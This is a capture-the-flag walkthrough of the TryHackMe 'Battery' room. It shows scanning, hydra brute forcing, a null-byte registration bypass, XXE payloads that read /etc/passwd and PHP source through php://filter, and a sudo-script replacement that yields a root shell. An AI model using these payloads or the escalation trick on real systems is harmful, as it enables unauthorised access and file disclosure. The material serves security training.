TryHackMe Walkthrough - Battery

TryHackMe Walkthrough - Battery


In this room, we need to hack a web site using a vulnerability from an old version of PHP, some XXE and using bad configuration to escalate privileges.

I had a hard time with this one. It took me forever to find the way in the application. And then again a lot of time to find the way to escalate privileges. But I really enjoyed it.

Electricity bill portal has been hacked many times in the past , so we have fired one of the employee from the security team , As a new recruit you need to work like a hacker to find the loop holes in the portal and gain root access to the server .


As always, I started the room by looking for opened ports.

$ nmap -A -oN nmap.txt target
Starting Nmap 7.91 ( ) at 2021-06-19 11:43 EDT
Nmap scan report for target (
Host is up (0.23s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 14:6b:67:4c:1e:89:eb:cd:47:a2:40:6f:5f:5c:8c:c2 (DSA)
|   2048 66:42:f7:91:e4:7b:c6:7e:47:17:c6:27:a7:bc:6e:73 (RSA)
|   256 a8:6a:92:ca:12:af:85:42:e4:9c:2b:0e:b5:fb:a8:8b (ECDSA)
|_  256 62:e4:a3:f6:c6:19:ad:30:0a:30:a1:eb:4a:d3:12:d3 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 43.85 seconds

No surprise here. Ports 22 (SSH) and 80 (HTTP) are opened.

I looked at the web site, there was nothing to see there.

Main Site

Next, I launched Gobuster to check for hidden files and folders on the site.

$ gobuster dir -e -u http://target.thm/ -t30 -w /usr/share/dirb/wordlists/common.txt 
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://target.thm/
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
2021/06/19 11:46:06 Starting gobuster in directory enumeration mode
http://target.thm/.htaccess            (Status: 403) [Size: 286]
http://target.thm/.hta                 (Status: 403) [Size: 281]
http://target.thm/.htpasswd            (Status: 403) [Size: 286]
http://target.thm/admin.php            (Status: 200) [Size: 663]
http://target.thm/index.html           (Status: 200) [Size: 406]
http://target.thm/report               (Status: 200) [Size: 16912]
http://target.thm/scripts              (Status: 301) [Size: 309] [--> http://target.thm/scripts/]
http://target.thm/server-status        (Status: 403) [Size: 290]                                 
2021/06/19 11:46:46 Finished

The admin.php file looks interesting. It has a login form and a link to register. I kept it open while looking at the rest.


The /scripts/ folder had some jQuery files and an ie folder that showed an index page with only ‘TEST’ written.

Report Executable

Next I looked at report. This downloaded a file to my machine.

$ file report 
report: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, BuildID[sha1]=44ffe4e81d688f7b7fe59bdf74b03f828a4ef3fe, for GNU/Linux 3.2.0, not stripped

$ ./report 

Welcome To ABC DEF Bank Managemet System!
UserName : aa
Password : aa
Wrong username or password

The executable requires a username and password to login. I ran strings and found many emails. But nothing that looked like a password.

I then opened the executable in Ghidra to look at the code. It gave me a list of users. The same one I had found with strings.

List Of Active Users

The main function showed me the login code. It just accepted the guest/guest credentials

Login Code

I kept digging in the code, only to realize it didn’t do anything.

I used the emails from the code to try and brute force the admin page login.

$ cat users.txt 

$ hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -f -u -e snr -t64 -m '/admin.php:uname=^USER^&password=^PASS^&btn=Submit:bad' target.thm http-post-form
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra ( starting at 2021-06-22 06:12:40
[DATA] max 64 tasks per 1 server, overall 64 tasks, 143444020 login tries (l:10/p:14344402), ~2241313 tries per task
[DATA] attacking http-post-form://target.thm:80/admin.php:uname=^USER^&password=^PASS^&btn=Submit:bad
[STATUS] 2897.00 tries/min, 2897 tries in 00:01h, 143441123 to do in 825:14h, 64 active
[STATUS] 3063.67 tries/min, 9191 tries in 00:03h, 143434829 to do in 780:19h, 64 active
[STATUS] 3110.57 tries/min, 21774 tries in 00:07h, 143422246 to do in 768:29h, 64 active

I kept Hydra running for hours, but it did not find any valid password.

Admin Page

I was back in the admin page. I spent a lot of time trying to break it. I tried to use SQL injection. I created a user, but it could not access most of the pages.

The pages that where for admins only where rendered, but sent back with an alert and a header to redirect use out of the application. So I looked at the code in Burp and saw that one of them used XML. I immediately thought it might have an XXE vulnerability. I tried to block the redirect and post the XML. But the session appeared to be closed, so it did not work.

I tried creating an admin user with the email admin@bank.a, but adding lots of spaces at the end. Hoping that MySQL might truncate it and then I would have an admin user. But that failed to.

At some point, I tried creating the admin user with a null byte at the end.

POST /register.php HTTP/1.1
Host: target.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Origin: http://target.thm
Connection: close
Referer: http://target.thm/register.php
Cookie: PHPSESSID=bfaakggtf5869ke4ie1ktuqgt7
Upgrade-Insecure-Requests: 1


And this worked. The server was using an old version of PHP. I could then connect to the application with admin@bank.a/admin.

I went directly the the ‘command’ tab to try the XXE injection.


In this page source, we can see that it’s posting XML with the data from the form.

function XMLFunction(){
    var xml = '' +
        '<?xml version="1.0" encoding="UTF-8"?>' +
        '<root>' +
        '<name>' + $('#name').val() + '</name>' +
        '<search>' + $('#search').val() + '</search>' +
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if(xmlhttp.readyState == 4){
            document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;

I used Burp Repeater to play with the XML and try to inject some entities. It did not take long to find out I could read files on the server.

Sending this XML:

POST /forms.php HTTP/1.1
Host: target.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 180
Origin: http://target.thm
Connection: close
Referer: http://target.thm/forms.php
Cookie: PHPSESSID=ufek6v93v6gj463504r3l2jqb7

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM  "file:///etc/passwd" >]>

Gave me the content of /etc/passwd in the response.

Sorry, account number root:x:0:0:root:/root:/bin/bash
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false
 is not active!

From there I tried to read .ssh/id_rsa on both users. I checked for flag.txt or user.txt also. Then I tried reading the Apache logs. They all came back empty.

Next I tried to get the PHP files. I had to get them as Base64 to extract them.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM  "php://filter/convert.base64-encode/resource=admin.php" >]>

Most of them where not interesting. Except for some database credentials. But MySQL was not exposed to the outside.

The acc.php file was interesting.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM  "php://filter/convert.base64-encode/resource=acc.php" >]>

I took the Base64 string returned, saved it to a file and decoded it.

$ cat acc.b64 | base64 -d > acc.php

It gave me a file with some HTML and this PHP code.

if(isset($_SESSION['favcolor']) and $_SESSION['favcolor']==="admin@bank.a")

echo "<h3 style='text-align:center;'>Weclome to Account control panel</h3>";
echo "<form method='POST'>";
echo "<input type='text' placeholder='Account number' name='acno'>";
echo "<br><br><br>";
echo "<input type='text' placeholder='Message' name='msg'>";
echo "<input type='submit' value='Send' name='btn'>";
echo "</form>";
echo "ms:".$ms;
else if($ms==="whoami")
echo "<script>alert('RCE Detected!')</script>";
header("Refresh: 0.1; url=index.html");
echo "<script>alert('Only Admins can access this page!')</script>";
header("Refresh: 0.1; url=index.html");

The credentials for the user cyber were hidden in a comment. I used them to connect with SSH and get the first flag.

$ ssh cyber@target
cyber@target's password: 
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64)

 * Documentation:

  System information as of Tue Jun 22 17:31:36 IST 2021

  System load:  1.04              Processes:           96
  Usage of /:   2.4% of 68.28GB   Users logged in:     0
  Memory usage: 6%                IP address for eth0:
  Swap usage:   0%

  Graph this data and manage this system at:

Last login: Tue Nov 17 17:02:47 2020 from

cyber@ubuntu:~$ ls

cyber@ubuntu:~$ cat flag1.txt 

Sorry I am not good in designing ascii art :(

Privilege Escalation

This is another place where I lost a lot of time. The first thing I tried was looking if cyber could run sudo.

cyber@ubuntu:~$ sudo -l
Matching Defaults entries for cyber on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cyber may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/python3 /home/cyber/
$ ls -la 
-rwx------ 1 root root 349 Nov 15  2020

cyber@ubuntu:~$ sudo /usr/bin/python3 /home/cyber/
Hey Cyber I have tested all the main components of our web server but something unusal happened from my end!

They could run Python on the file It printed a message about the web server. I couldn’t edit or read the script, so I started looking elsewhere.

I looked at the files in the web root. Found the database credentials again. I connected to it. But I couldn’t find anything in there.

I then looked at the Apache configuration. The file apache2.conf was writable. I modified it, trying to get it to run as root, changing some settings. I managed to crash Apache, I’m not even sure how. I spent a lot of time trying to restart it on a non privileged port, changing where the logs went so my user could start it without getting an Access Denied. Nothing worked.

So I looked everywhere on the server. Looking for crons, suid files, … Again nothing. I ran LinPEAS on the server. It did not find anything I could exploit.

Then, I went back to I could not modify it, but it was in cyber’s home folder, so they could delete it.

cyber@ubuntu:~$ ls -ld /home/cyber/
drwx------ 3 cyber cyber 4096 Nov 17  2020 /home/cyber/

cyber@ubuntu:~$ rm 
rm: remove write-protected regular file ‘’? y

I could then recreate the file with the code I wanted. I replace it with code that spawned a new bash shell and then executed it with sudo.

cyber@ubuntu:~$ cat
import pty

cyber@ubuntu:~$ sudo /usr/bin/python3 /home/cyber/

root@ubuntu:~# whoami

I was now root. So I could read the files in the yash home folder.

root@ubuntu:~# ls -l /home/yash/
total 16
-rwx------ 1 root root 864 Nov 17  2020
-rw-rw-r-- 1 yash yash 167 Nov 17  2020 fernet
-rw-rw-r-- 1 yash yash  68 Nov 16  2020 flag2.txt
-rw--w---- 1 yash yash 295 Nov 15  2020 root.txt

root@ubuntu:~# cat /home/yash/flag2.txt 

Sorry no ASCII art again :(

Looking at all those files, there was probably a way to escalate to yash, and then escalate to root. But I was already root. So I went for the root flag.

root@ubuntu:/home/yash# ls -l /root/
total 4
-rw-r--r-- 1 root root 937 Nov 16  2020 root.txt

root@ubuntu:/home/yash# cat /root/root.txt 
██                                ██  
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██  ████  ████  ████  ████  ████  ████
██                                ██  

                                                battery designed by cyberbot :)
                                                Please give your reviews on or discord cyberbot#1859


I should probably go back to the machine and try to find the intended way to root it. But for now I have the flags :)